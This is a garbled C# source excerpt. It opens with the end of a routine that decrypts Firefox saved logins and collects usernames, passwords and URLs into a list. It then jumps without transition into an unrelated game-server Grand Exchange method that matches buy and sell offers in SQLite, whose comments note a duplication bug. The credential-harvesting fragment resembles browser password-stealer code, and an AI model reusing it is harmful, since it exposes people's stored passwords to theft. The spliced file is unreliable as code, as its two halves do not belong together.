string password = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedPassword);
logins.Add(new CredentialModel
{
Username = username,
Password = password,
Url = loginData.hostname
});
}
}
}
catch (Exception e)
{
}
return(logins);
}
protected void processSales()
{
OrderedDictionary soldBoughtItems = new OrderedDictionary();
/*
* First of all the old system was not possible to do with SQL
* Would of required to do a SQL Query for each itemId sold and bought by all players
* That would of ment over 10,000 items x 2 (buyers+sellers) so 20,000 queries to process.
*
* The new system I created to fix this.
* Works like this it everytime this runs matches up 1 GE Buying/Selling auction.
* Then loops it 100 times or until no more matches are possible.
*
* TODO: Match Buyer's of larger item quantity with Sellers with larger quanity instead of Sellers with
* any item quantity. (this requires editing the query below to a better suited query).
*/
BuyOffer buyer = null;
SellOffer seller = null;
int itemId;
int itemAmount;
int price;
int sold;
int bought;
int collectedItem;
int collectedGold;
int overpaid;
byte slot;
long playerHash;
SQLiteDatabase db = new SQLiteDatabase(Constants.databaseName);
for (int processNumSales = 0; processNumSales < 100; processNumSales++)
{
soldBoughtItems.Clear();
//Can't do more then 1 sale at a time, LIMIT 100 wont work since it will pick duplicate sellers.
DataTable dt = db.ExecuteQuery("SELECT S.itemId AS sell_itemId, S.amount AS sell_amount, S.price AS sell_price, S.sold AS sell_sold, S.collectedItem AS sell_collectedItem, S.collectedGold AS sell_collectedGold, S.overpaid AS sell_overpaid, S.slot AS sell_slot, S.playerHash AS sell_playerHash, B.itemId AS buy_itemId, B.amount AS buy_amount, B.price AS buy_price, B.bought AS buy_bought, B.collectedItem AS buy_collectedItem, B.collectedGold AS buy_collectedGold, B.overpaid AS buy_overpaid, B.slot AS buy_slot, B.playerHash AS buy_playerHash FROM grandExchangeBuying AS B, grandExchangeSelling AS S ON B.itemId = S.itemId AND B.aborted = 0 AND S.aborted = 0 AND B.price >= S.price AND S.sold < S.amount AND B.bought < B.amount ORDER BY B.price DESC LIMIT 1");
if (dt.Rows.Count == 0)
{
db.CloseDatabase();
return;
}
else
{
itemId = Convert.ToInt32(dt.Rows[0]["sell_itemId"]);
itemAmount = Convert.ToInt32(dt.Rows[0]["sell_amount"]);
price = Convert.ToInt32(dt.Rows[0]["sell_price"]);
sold = Convert.ToInt32(dt.Rows[0]["sell_sold"]);
collectedItem = Convert.ToInt32(dt.Rows[0]["sell_collectedItem"]);
collectedGold = Convert.ToInt32(dt.Rows[0]["sell_collectedGold"]);
overpaid = Convert.ToInt32(dt.Rows[0]["sell_overpaid"]);
slot = Convert.ToByte(dt.Rows[0]["sell_slot"]);
playerHash = (long)dt.Rows[0]["sell_playerHash"];
seller = new SellOffer(itemId, itemAmount, price, sold, collectedItem, collectedGold, overpaid, slot, playerHash);
itemId = Convert.ToInt32(dt.Rows[0]["buy_itemId"]);
itemAmount = Convert.ToInt32(dt.Rows[0]["buy_amount"]);
price = Convert.ToInt32(dt.Rows[0]["buy_price"]);
bought = Convert.ToInt32(dt.Rows[0]["buy_bought"]);
collectedItem = Convert.ToInt32(dt.Rows[0]["buy_collectedItem"]);
collectedGold = Convert.ToInt32(dt.Rows[0]["buy_collectedGold"]);
overpaid = Convert.ToInt32(dt.Rows[0]["buy_overpaid"]);
slot = Convert.ToByte(dt.Rows[0]["buy_slot"]);
playerHash = (long)dt.Rows[0]["buy_playerHash"];
buyer = new BuyOffer(itemId, itemAmount, price, bought, collectedItem, collectedGold, overpaid, slot, playerHash);
}
if (seller == null || buyer == null)
{
continue;
}
int amountToBuy = buyer.getTotalAmount() - buyer.getAmountTraded();
int amountToSell = seller.getTotalAmount() - seller.getAmountTraded();
// This check will never happen. SQL Query will not allow it.. Just old code I left in.
if (amountToBuy <= 0 || amountToSell <= 0)
{
continue;
}
int amount = (amountToBuy > amountToSell) ? amountToSell : amountToBuy;
// Buys from Seller a random amount of a item.
amount = misc.random(1, amount);
// Buyer will pay minimum what the seller wants.
int amountBuyerOverpaid = (buyer.getPriceEach() - seller.getPriceEach()) * amount; // buyer is paying more than the seller wants, therefore MAY recieve this amount as a refund.
bool buyerKeepsRefund = misc.random(1) == 0; // if 0, the buyer gets a refund, if its 1...the seller gets more.
buyer.setAmountTraded(buyer.getAmountTraded() + amount);
seller.setAmountTraded(seller.getAmountTraded() + amount);
/**
* How much refunded gold Buyer gets in addition to his previous refunded gold.
* or
* How much of the Buyer's overpaid gold that they couldn't keep goes as extra profit to the Seller.
*/
if (buyerKeepsRefund && amountBuyerOverpaid > 0)
{
buyer.setAmountOverpaid(buyer.getAmountOverpaid() + amountBuyerOverpaid);
}
else if (!buyerKeepsRefund && amountBuyerOverpaid > 0)
{
seller.setAmountOverpaid(seller.getAmountOverpaid() + amountBuyerOverpaid);
}
// Shows amount of Item Buyer bought in Slot 1 minus how much he already took out.
if (buyer.getAmountItemsLeftToCollect() > 0)
{
buyer.setSlot1(new Item(buyer.getItem(), buyer.getAmountItemsLeftToCollect()));
}
//Shows amount of Gold Buyer has in Slot 2 from previous refunded money plus how much he maybe will be refunded this sale.
if ((buyer.getAmountCollectedGold() < buyer.getAmountOverpaid()) && (buyer.getAmountOverpaid() - buyer.getAmountCollectedGold()) > 0)
{
buyer.setSlot2(new Item(995, (buyer.getAmountOverpaid() - buyer.getAmountCollectedGold())));
}
//Shows amount of Gold Seller in Slot 2 has minus how much he already took out.
if (seller.getAmountGoldLeftToCollect() > 0)
{
seller.setSlot2(new Item(995, seller.getAmountGoldLeftToCollect()));
}
Player buyerP = Server.getPlayerForName(buyer.getPlayerName());
Player sellerP = Server.getPlayerForName(seller.getPlayerName());
//Update both Buyer and Seller's Slots in the database
try
{
db.ExecuteNonQuery("UPDATE grandExchangeBuying SET bought = " + buyer.getAmountTraded() + ", overpaid = " + buyer.getAmountOverpaid() + " WHERE slot = " + buyer.getSlot() + " AND playerHash = " + buyer.getPlayerHash());
db.ExecuteNonQuery("UPDATE grandExchangeSelling SET sold = " + seller.getAmountTraded() + ", overpaid = " + seller.getAmountOverpaid() + " WHERE slot = " + seller.getSlot() + " AND playerHash = " + seller.getPlayerHash());
}
catch (Exception e)
{
//Instantly skip this sale if any database errors occurred.
//If one of those queries works and other fails then you will have a dupe -_-.
//TODO: A fix would be to keep retrying both queries until both successful.
misc.WriteError("[GrandExchange SQL Error]: " + e.Message);
continue;
}
/*
* TODO: Fix When player is offline and logs in after item is bought. He won't see messages below..
* Add something to Packets.cs (sendLogin() method) to process this.
* Maybe a (boolean in playerSaves for GE update?)
*/
if (buyerP != null)
{
buyerP.getPackets().sendMessage("One or more of your Grand Exchange offers has been updated.");
buyerP.getPackets().updateGEProgress(buyer);
if (buyerP.getGESession() != null)
{
Item[] items = { buyer.getSlot1(), buyer.getSlot2() };
buyerP.getPackets().sendItems(-1, -1757, 523 + buyer.getSlot(), items);
}
}
/*
* TODO: Fix When player is offline and logs in after item is bought. He won't see messages below..
* Add something to Packets.cs (sendLogin() method) to process this.
* Maybe a (boolean in playerSaves for GE update?)
*/
if (sellerP != null)
{
sellerP.getPackets().sendMessage("One or more of your Grand Exchange offers has been updated.");
sellerP.getPackets().updateGEProgress(seller);
if (sellerP.getGESession() != null)
{
Item[] items = { seller.getSlot1(), seller.getSlot2() };
sellerP.getPackets().sendItems(-1, -1757, 523 + seller.getSlot(), items);
}
}
}
}